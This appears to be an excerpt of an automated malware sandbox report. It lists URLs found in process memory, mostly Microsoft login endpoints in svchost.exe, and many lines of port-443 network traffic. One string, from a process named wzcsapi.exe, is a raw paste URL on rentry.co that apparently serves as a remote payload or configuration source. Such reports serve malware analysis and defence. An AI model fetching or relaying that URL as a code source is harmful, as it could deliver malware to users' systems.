Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000000B.00000003.1369948869.0000013DE2127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000B.00000003.1369948869.0000013DE2127000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srfssuer
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000B.00000003.1369948869.0000013DE2127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 0000000B.00000002.2666864067.0000013DE283F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-DjY9H7NyiNrCi
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600g:OOBEignInAuthUp
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2668258474.0000013DE2844000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfn
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2647979529.0000013DE1902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369560107.0000013DE2157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1368989429.0000013DE215A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cpng
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf57
Source: svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfLive
Source: svchost.exe, 0000000B.00000002.2647979529.0000013DE1902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/px
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srff
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 0000000B.00000002.2645982875.0000013DE18D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2668258474.0000013DE2844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 0000000B.00000002.2668258474.0000013DE2844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 0000000B.00000002.2671562687.0000013DE28A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comnui
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf=
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.
Source: svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 0000000B.00000003.1369948869.0000013DE2127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000B.00000003.1368955150.0000013DE2110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: wzcsapi.exe, 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/tranr/raw
Source: svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx

Source: unknown	Network traffic detected: HTTP traffic on port 52294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52317
Source: unknown	Network traffic detected: HTTP traffic on port 52397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52397
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52510
Source: unknown	Network traffic detected: HTTP traffic on port 52458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52481
Source: unknown	Network traffic detected: HTTP traffic on port 52509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 52375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 52287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52486
Source: unknown	Network traffic detected: HTTP traffic on port 52323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52287
Source: unknown	Network traffic detected: HTTP traffic on port 52419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52485
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52323
Source: unknown	Network traffic detected: HTTP traffic on port 52474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52489
Source: unknown	Network traffic detected: HTTP traffic on port 52492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52490
Source: unknown	Network traffic detected: HTTP traffic on port 52499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52493
Source: unknown	Network traffic detected: HTTP traffic on port 52504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52491
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52492
Source: unknown	Network traffic detected: HTTP traffic on port 52489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 52485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52419
Source: unknown	Network traffic detected: HTTP traffic on port 52491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52375
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52458
Source: unknown	Network traffic detected: HTTP traffic on port 52495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52499
Source: unknown	Network traffic detected: HTTP traffic on port 52507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52507
Source: unknown	Network traffic detected: HTTP traffic on port 52430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52502
Source: unknown	Network traffic detected: HTTP traffic on port 52490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52500
Source: unknown	Network traffic detected: HTTP traffic on port 52497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52350
Source: unknown	Network traffic detected: HTTP traffic on port 52403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52487 -> 443

